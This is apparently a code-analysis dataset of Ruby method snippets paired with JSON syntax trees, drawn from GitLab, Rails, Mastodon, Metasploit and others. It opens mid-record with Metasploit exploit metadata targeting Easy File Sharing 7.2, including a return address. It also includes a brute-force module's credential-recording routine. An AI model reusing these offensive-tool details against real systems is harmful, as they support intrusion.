/\\\\.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Easy File Sharing 7.2 HTTP\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[268539800]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[80]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2015-12-02\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"d53c0ffa-b0d6-4abd-9945-5fe16ab780db"}
+{"repo_name":"forem","file_path":"./repos/forem/app/controllers/subforems_controller.rb","start_line":383,"raw_source":"def upload_subforem_image(image, image_type)\n SubforemImageUploader.new.tap do |uploader|\n uploader.set_image_type(image_type)\n uploader.store!(image)\n end\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_subforem_image\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"image\"]},{\"type\":\"arg\",\"children\":[\"image_type\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SubforemImageUploader\"]},\"new\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uploader\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uploader\"]},\"set_image_type\",{\"type\":\"lvar\",\"children\":[\"image_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uploader\"]},\"store!\",{\"type\":\"lvar\",\"children\":[\"image\"]}]}]}]}]}","id":"877d6f75-d850-4129-b59e-f12e2dd152a6"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_project_namespace_on_issues.rb","start_line":48,"raw_source":"def update_batch(sub_batch)\n connection.execute <<~SQL\n UPDATE issues\n SET namespace_id = projects.project_namespace_id\n FROM (#{sub_batch.to_sql}) AS projects(issue_id, project_namespace_id)\n WHERE issues.id = issue_id\n SQL\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_batch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE issues\\n\"]},{\"type\":\"str\",\"children\":[\"SET namespace_id = projects.project_namespace_id\\n\"]},{\"type\":\"str\",\"children\":[\"FROM (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"to_sql\"]}]},{\"type\":\"str\",\"children\":[\") AS projects(issue_id, project_namespace_id)\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE issues.id = issue_id\\n\"]}]}]}]}","id":"e7141384-8159-434a-b7b2-1bff22d16ca9"}
+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/controllers/discourse_ai/admin/ai_artifacts_controller.rb","start_line":57,"raw_source":"def destroy\n if @artifact.destroy\n head :no_content\n else\n render_json_error @artifact\n end\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@artifact\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"no_content\"]}]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"ivar\",\"children\":[\"@artifact\"]}]}]}]}","id":"a98197ae-16b5-44fc-8b3e-57ddaa2b6f1e"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/tasks/terraform_state.rb","start_line":20,"raw_source":"def storage_path = context.terraform_state_path","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"storage_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"terraform_state_path\"]}]}","id":"a1be9904-15a0-4cc1-adfb-7363979dba2c"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/milestone_spec.rb","start_line":177,"raw_source":"def query_group_milestone_ids(params)\n query = graphql_query_for('group', { 'fullPath' => group.full_path },\n query_graphql_field('milestones', params, query_graphql_path([:nodes], :id))\n )\n\n post_graphql(query, current_user: current_user)\n\n graphql_data_at(:group, :milestones, :nodes).pluck('id').map { |gid| GlobalID.parse(gid).model_id.to_i }\n end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"query_group_milestone_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[null,\"graphql_query_for\",{\"type\":\"str\",\"children\":[\"group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"fullPath\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"full_path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"query_graphql_field\",{\"type\":\"str\",\"children\":[\"milestones\"]},{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"query_graphql_path\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"nodes\"]}]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"post_graphql\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"graphql_data_at\",{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"sym\",\"children\":[\"milestones\"]},{\"type\":\"sym\",\"children\":[\"nodes\"]}]},\"pluck\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalID\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"gid\"]}]},\"model_id\"]},\"to_i\"]}]}]}]}","id":"f55559f4-e9b2-4c59-871d-668711b4f53b"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240708074520_add_scan_status_to_scan_result_policy_violation.rb","start_line":13,"raw_source":"def down\n with_lock_retries do\n remove_column :scan_result_policy_violations,\n :status, :integer\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"scan_result_policy_violations\"]},{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]}]}]}","id":"ce989b66-6534-409f-b689-e0a38d1ebe13"}
+{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/update_account_service.rb","start_line":36,"raw_source":"def process_hashtags(account)\n account.tags_as_strings = Extractor.extract_hashtags(account.note)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_hashtags\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"tags_as_strings=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Extractor\"]},\"extract_hashtags\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"note\"]}]}]}]}","id":"26c11d59-48c2-443e-8585-ada9c9efb181"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/resource.rb","start_line":130,"raw_source":"def cmd_makerc(*args)\n if args.empty? || args.include?('-h')\n cmd_makerc_help\n return false\n end\n driver.save_recent_history(args[0])\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_makerc\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"include?\",{\"type\":\"str\",\"children\":[\"-h\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_makerc_help\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"driver\"]},\"save_recent_history\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"b385bd4f-3b37-4d3b-9dcb-abbec8ff7edd"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/join_model_test.rb","start_line":32,"raw_source":"def test_has_many_inherited\n assert_includes authors(:mary).categories, categories(:sti_test)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_inherited\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"mary\"]}]},\"categories\"]},{\"type\":\"send\",\"children\":[null,\"categories\",{\"type\":\"sym\",\"children\":[\"sti_test\"]}]}]}]}","id":"00d30aa5-61d1-4e68-91d5-423f506a7f92"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/cisco_asa_asdm_bruteforce.rb","start_line":72,"raw_source":"def report_cred(opts)\n service_data = {\n address: opts[:ip],\n port: opts[:port],\n service_name: 'Cisco ASA ASDM',\n protocol: 'tcp',\n workspace_id: myworkspace_id\n }\n\n credential_data = {\n origin_type: :service,\n module_fullname: fullname,\n username: opts[:user],\n private_data: opts[:password],\n private_type: :password\n }.merge(service_data)\n\n login_data = {\n last_attempted_at: DateTime.now,\n core: create_credential(credential_data),\n status: Metasploit::Model::Login::Status::SUCCESSFUL,\n proof: opts[:proof]\n }.merge(service_data)\n\n create_credential_login(login_data)\n end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_cred\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ip\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"Cisco ASA ASDM\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_attempted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"SUCCESSFUL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"d04f3338-a88d-4906-a3a8-d355310ee45e"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/concurrency_limit/worker_execution_tracker.rb","start_line":72,"raw_source":"def with_redis(&)\n Redis::QueuesMetadata.with(&) # rubocop:disable CodeReuse/ActiveRecord -- Not active record\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_redis\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Redis\"]},\"QueuesMetadata\"]},\"with\",{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"bd0ccee3-67de-43d6-a2e4-326d629ee314"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/message_encryptor_test.rb","start_line":169,"raw_source":"def assert_aead_not_decrypted(encryptor, value)\n assert_raise(ActiveSupport::MessageEncryptor::InvalidMessage) do\n encryptor.decrypt_and_verify(value)\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_aead_not_decrypted\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"encryptor\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"MessageEncryptor\"]},\"InvalidMessage\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"encryptor\"]},\"decrypt_and_verify\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"5a9a24ca-0f7f-405f-b6a2-b26f90cc2ffb"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/models/permitted_params.rb","start_line":172,"raw_source":"def role\n params.require(:role).permit(*self.class.permitted_attributes[:role])\n end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"role\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"role\"]}]},\"permit\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"permitted_attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"role\"]}]}]}]}]}","id":"8316a9be-8260-4777-a148-4b25ac770744"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/organizations/groups/transfer_validator.rb","start_line":19,"raw_source":"def error_message\n return localized_error_messages[:group_not_root] unless group_is_root?\n return localized_error_messages[:same_organization] if same_organization?\n return localized_error_messages[:permission] unless has_permission?\n return cannot_transfer_users_error unless can_transfer_users?\n\n nil\n end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"error_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_is_root?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"localized_error_messages\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_not_root\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"same_organization?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"localized_error_messages\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"same_organization\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_permission?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"localized_error_messages\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"permission\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_transfer_users?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cannot_transfer_users_error\"]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"4190104a-6549-42db-a985-5aaca3f4e28d"}
+{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/output.rb","start_line":508,"raw_source":"def format_stream(tag, es) # for BufferedOutputTestDriver\n if @compress == :gzip\n es.to_compressed_msgpack_stream(time_int: @time_as_integer)\n else\n es.to_msgpack_stream(time_int: @time_as_integer)\n end\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"format_stream\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"es\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@compress\"]},\"==\",{\"type\":\"sym\",\"children\":[\"gzip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"es\"]},\"to_compressed_msgpack_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time_int\"]},{\"type\":\"ivar\",\"children\":[\"@time_as_integer\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"es\"]},\"to_msgpack_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time_int\"]},{\"type\":\"ivar\",\"children\":[\"@time_as_integer\"]}]}]}]}]}]}","id":"44fa0621-12ad-4b9e-8a11-f8a38b2ee555"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/operation_service.rb","start_line":148,"raw_source":"def user_merge_to_ref(user, source_sha:, branch:, target_ref:, message:, first_parent_ref:, expected_old_oid: \"\")\n request = Gitaly::UserMergeToRefRequest.new(\n repository: @gitaly_repo,\n source_sha: source_sha,\n branch: encode_binary(branch),\n target_ref: encode_binary(target_ref),\n user: gitaly_user(user),\n message: encode_binary(message),\n first_parent_ref: encode_binary(first_parent_ref),\n expected_old_oid: expected_old_oid,\n timestamp: Google::Protobuf::Timestamp.new(seconds: Time.now.utc.to_i)\n )\n\n response = gitaly_client_call(@repository.storage, :operation_service,\n :user_merge_to_ref, request, timeout: GitalyClient.long_timeout)\n\n response.commit_id\n end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"user_merge_to_ref\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"source_sha\"]},{\"type\":\"kwarg\",\"children\":[\"branch\"]},{\"type\":\"kwarg\",\"children\":[\"target_ref\"]},{\"type\":\"kwarg\",\"children\":[\"message\"]},{\"type\":\"kwarg\",\"children\":[\"first_parent_ref\"]},{\"type\":\"kwoptarg\",\"children\":[\"expected_old_oid\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"UserMergeToRefRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"ivar\",\"children\":[\"@gitaly_repo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_sha\"]},{\"type\":\"lvar\",\"children\":[\"source_sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"branch\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_ref\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"target_ref\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"gitaly_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_parent_ref\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"first_parent_ref\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_old_oid\"]},{\"type\":\"lvar\",\"children\":[\"expected_old_oid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Google\"]},\"Protobuf\"]},\"Timestamp\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"seconds\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"to_i\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"gitaly_client_call\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"storage\"]},{\"type\":\"sym\",\"children\":[\"operation_service\"]},{\"type\":\"sym\",\"children\":[\"user_merge_to_ref\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"long_timeout\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"commit_id\"]}]}]}","id":"4586cabf-c12b-4eb7-8001-8d05978a21c3"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/ansi2html.rb","start_line":161,"raw_source":"def has_timestamp_prefix?(line)\n # Avoid regex on timestamps for performance\n return unless @has_timestamps && line && line.length >= TIMESTAMP_HEADER_LENGTH\n\n line[TIMESTAMP_HEADER_DATETIME_LENGTH - 1] == 'Z' &&\n line[4] == '-' && line[7] == '-' && line[10] == 'T' && line[13] == ':'\n end","complexity_score":27.75,"ast_json":"{\"type\":\"def\",\"children\":[\"has_timestamp_prefix?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@has_timestamps\"]},{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"length\"]},\">=\",{\"type\":\"const\",\"children\":[null,\"TIMESTAMP_HEADER_LENGTH\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TIMESTAMP_HEADER_DATETIME_LENGTH\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"==\",{\"type\":\"str\",\"children\":[\"Z\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]},\"==\",{\"type\":\"str\",\"children\":[\"-\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"int\",\"children\":[7]}]},\"==\",{\"type\":\"str\",\"children\":[\"-\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"int\",\"children\":[10]}]},\"==\",{\"type\":\"str\",\"children\":[\"T\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"[]\",{\"type\":\"int\",\"children\":[13]}]},\"==\",{\"type\":\"str\",\"children\":[\":\"]}]}]}]}]}","id":"8cc12ede-2655-46fe-95ad-825f0c0663fc"}
